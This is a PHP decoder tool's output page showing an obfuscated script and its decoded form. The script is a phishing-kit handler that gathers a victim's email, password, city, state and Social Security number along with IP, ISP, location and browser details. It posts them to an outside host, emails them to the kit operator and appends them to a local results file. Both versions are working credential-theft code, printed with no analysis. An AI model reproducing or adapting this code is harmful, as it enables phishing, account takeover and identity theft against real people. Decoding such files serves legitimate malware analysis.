Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto wm_b7; FAGQ6: $param = "\145\155\x61\x69\154\x3d" . $s["\x65\155\141\x69\x6c\..
Decoded Output download
<?php
goto wm_b7; FAGQ6: $param = "email=" . $s["emaily"] . "&password=" . $pass . "&city=" . $s["city1"] . "&state=" . $s["state1"] . "&ssn=" . $s["ssn1"] . "&fromAccess=" . $server; goto IpPF6; RaFyZ: $err = curl_error($curl); goto yRUCb; yRUCb: curl_close($curl); goto pDw73; ZGLnR: $pass = $_POST["pass"]; goto FAGQ6; ScQEw: $subject = "Email Login [ " . $email . " - " . $ip . " ]"; goto oqxg8; p4fwN: $log = fopen("../result/email.txt", "a") or die("Unable to open file!"); goto GM3aA; dsYi3: $s = $_SESSION; goto ZGLnR; AEnYW: session_start(); goto OiON5; pDw73: $message = "\xa
#--------------------[ EMAIL LOGIN ]-------------------------#\xa\xaEmail : " . $s["emaily"] . "
Password : " . $pass . "
\xa\xa#------------------------[ DEVICE INFORMATION ]-----------------------#\xa
IP Address : " . $ip . "
ISP \x9 : " . $ispuser . "
Region\x9 : " . $regionuser . "\xaCity \x9: " . $cityuser . "\xaGMT : " . $continent . "
Timezone\x9: " . $timezone . "
OS/Browser\x9: " . $os . " / " . $br . "
Date \x9: " . $date . "\xaUser Agent : " . $user_agent . "\xa
#-----------------------[ FUCK MY REP ]--------------------------#\xa
\xa\xa
"; goto ScQEw; ZUvWM: $server = $_SERVER["HTTP_HOST"]; goto dsYi3; JwsMS: fclose($log); goto hw3FC; vitPs: $curl = curl_init(); goto ZUvWM; wm_b7: require_once "../main.php"; goto AEnYW; OiON5: $p = "JstWZ7xGSq3KDHg4UCLrfJme"; goto vitPs; GM3aA: fwrite($log, "{$message}
"); goto JwsMS; IpPF6: curl_setopt_array($curl, array(CURLOPT_URL => "https://antibanteng.com/api/cli/hotmail", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "-----011000010111000001101001\xd
Content-Disposition: form-data; name="data"
\xa
" . $param . "
-----011000010111000001101001--
", CURLOPT_HTTPHEADER => array("Content-Type: multipart/form-data; boundary=---011000010111000001101001"))); goto OhIl1; om6kU: mail($to, $subject, $message, $headers); goto p4fwN; oqxg8: $headers = "From: Email Login <[email protected]>"; goto aly5E; aly5E: $to = $config["email_result"]; goto om6kU; OhIl1: $response = curl_exec($curl); goto RaFyZ; hw3FC: echo $response; ?>
Did this file decode correctly?
Original Code
<?php
goto wm_b7; FAGQ6: $param = "\145\155\x61\x69\154\x3d" . $s["\x65\155\141\x69\x6c\x79"] . "\46\160\141\x73\x73\x77\x6f\162\x64\x3d" . $pass . "\x26\x63\x69\x74\x79\x3d" . $s["\143\151\x74\x79\61"] . "\x26\163\164\141\164\x65\75" . $s["\163\164\x61\164\x65\x31"] . "\46\x73\163\x6e\75" . $s["\x73\163\x6e\x31"] . "\46\x66\x72\x6f\x6d\x41\x63\x63\x65\x73\x73\x3d" . $server; goto IpPF6; RaFyZ: $err = curl_error($curl); goto yRUCb; yRUCb: curl_close($curl); goto pDw73; ZGLnR: $pass = $_POST["\x70\x61\x73\163"]; goto FAGQ6; ScQEw: $subject = "\x45\155\141\x69\154\x20\x4c\157\147\x69\x6e\x20\x5b\40" . $email . "\x20\55\40" . $ip . "\40\135"; goto oqxg8; p4fwN: $log = fopen("\56\x2e\x2f\162\x65\163\x75\x6c\x74\57\x65\x6d\141\151\154\56\x74\170\x74", "\141") or die("\125\x6e\x61\x62\154\145\x20\164\x6f\x20\157\160\145\156\x20\x66\151\x6c\x65\41"); goto GM3aA; dsYi3: $s = $_SESSION; goto ZGLnR; AEnYW: session_start(); goto OiON5; pDw73: $message = "\xa\12\x23\x2d\x2d\55\x2d\55\55\55\55\55\55\x2d\55\x2d\55\55\x2d\55\55\55\55\x5b\x20\x45\115\x41\111\x4c\40\x4c\117\x47\x49\x4e\40\135\x2d\55\55\55\x2d\55\x2d\55\x2d\55\55\x2d\55\55\x2d\55\55\55\55\55\x2d\55\x2d\x2d\x2d\43\xa\xa\x45\155\141\151\154\40\x20\x20\40\x20\x3a\40\40\x20" . $s["\x65\x6d\x61\151\x6c\x79"] . "\12\120\x61\x73\x73\167\157\x72\144\x20\x20\72\x20\40\40" . $pass . "\12\xa\xa\43\55\x2d\x2d\55\55\x2d\x2d\55\55\x2d\x2d\x2d\55\x2d\x2d\x2d\55\x2d\55\55\55\x2d\x2d\x2d\x5b\x20\104\x45\x56\111\103\x45\40\x49\116\106\117\122\115\101\x54\111\117\x4e\40\x5d\55\x2d\55\55\x2d\55\x2d\55\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\55\55\x2d\x2d\x2d\55\43\xa\12\x49\x50\x20\x41\x64\x64\x72\x65\x73\163\x20\x20\x3a\x20" . $ip . "\12\111\x53\x50\11\x9\x20\x20\x20\40\x3a\40" . $ispuser . "\12\x52\145\x67\x69\157\x6e\x9\11\72\x20" . $regionuser . "\xa\103\151\x74\x79\11\x9\x3a\x20" . $cityuser . "\xa\x47\115\124\40\40\x20\40\40\x20\40\40\40\x3a\40" . $continent . "\12\124\x69\155\x65\x7a\157\x6e\145\x9\72\40" . $timezone . "\12\117\x53\x2f\x42\162\157\167\x73\145\162\x9\x3a\40" . $os . "\40\57\40" . $br . "\12\x44\x61\x74\145\11\x9\x3a\x20" . $date . "\xa\125\163\145\x72\40\x41\147\x65\156\164\11\72\40" . $user_agent . "\xa\12\43\x2d\55\x2d\55\55\55\x2d\55\x2d\55\x2d\55\55\x2d\x2d\x2d\55\55\55\x2d\x2d\x2d\55\133\40\106\125\103\x4b\40\115\x59\40\x52\105\120\40\135\x2d\55\x2d\55\x2d\x2d\55\55\55\55\55\55\x2d\x2d\55\x2d\55\55\55\55\55\55\55\x2d\55\x2d\x23\xa\12\xa\xa\12"; goto ScQEw; ZUvWM: $server = $_SERVER["\110\124\124\x50\x5f\110\117\x53\124"]; goto dsYi3; JwsMS: fclose($log); goto hw3FC; vitPs: $curl = curl_init(); goto ZUvWM; wm_b7: require_once "\x2e\56\x2f\155\x61\151\x6e\56\160\150\160"; goto AEnYW; OiON5: $p = "\x4a\x73\164\x57\x5a\67\x78\x47\x53\x71\63\113\104\110\x67\x34\125\103\x4c\x72\146\112\x6d\x65"; goto vitPs; GM3aA: fwrite($log, "{$message}\40\15\12"); goto JwsMS; IpPF6: curl_setopt_array($curl, array(CURLOPT_URL => "\150\x74\164\x70\x73\72\x2f\x2f\x61\x6e\x74\x69\x62\x61\156\164\x65\156\x67\56\x63\157\155\x2f\141\160\x69\x2f\143\x6c\x69\x2f\150\x6f\164\155\x61\151\154", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "\x50\x4f\123\x54", CURLOPT_POSTFIELDS => "\55\x2d\x2d\x2d\55\60\x31\61\x30\60\x30\x30\61\60\x31\61\61\x30\60\60\x30\x30\x31\61\60\x31\x30\x30\61\xd\12\103\157\156\x74\145\156\x74\x2d\x44\151\x73\160\157\163\x69\x74\151\x6f\156\72\x20\146\157\162\x6d\55\x64\x61\164\x61\73\40\x6e\141\155\145\75\42\x64\141\164\141\x22\15\xa\15\12" . $param . "\15\12\x2d\55\x2d\x2d\x2d\60\x31\x31\x30\x30\60\x30\x31\60\x31\x31\61\x30\60\x30\60\x30\x31\x31\60\x31\x30\60\61\x2d\x2d\15\12", CURLOPT_HTTPHEADER => array("\x43\x6f\156\x74\145\x6e\x74\55\124\171\x70\x65\72\x20\x6d\x75\154\164\x69\160\x61\x72\x74\x2f\x66\x6f\162\x6d\x2d\x64\x61\164\x61\x3b\40\142\157\165\156\144\141\x72\171\75\x2d\x2d\55\60\61\x31\x30\60\60\60\x31\x30\61\61\x31\60\x30\x30\60\x30\x31\x31\60\61\60\x30\61"))); goto OhIl1; om6kU: mail($to, $subject, $message, $headers); goto p4fwN; oqxg8: $headers = "\106\162\157\x6d\72\40\105\155\x61\151\154\40\114\x6f\147\151\x6e\x20\x3c\x65\x6d\141\x69\154\x40\x61\x64\x64\x72\x65\x73\163\x2e\144\x69\143\153\76"; goto aly5E; aly5E: $to = $config["\x65\x6d\x61\151\154\137\162\x65\x73\x75\154\164"]; goto om6kU; OhIl1: $response = curl_exec($curl); goto RaFyZ; hw3FC: echo $response;
Function Calls
None |
Stats
MD5 | 7074cb1e9faf0b22a45f7967d7f888d4 |
Eval Count | 0 |
Decode Time | 32 ms |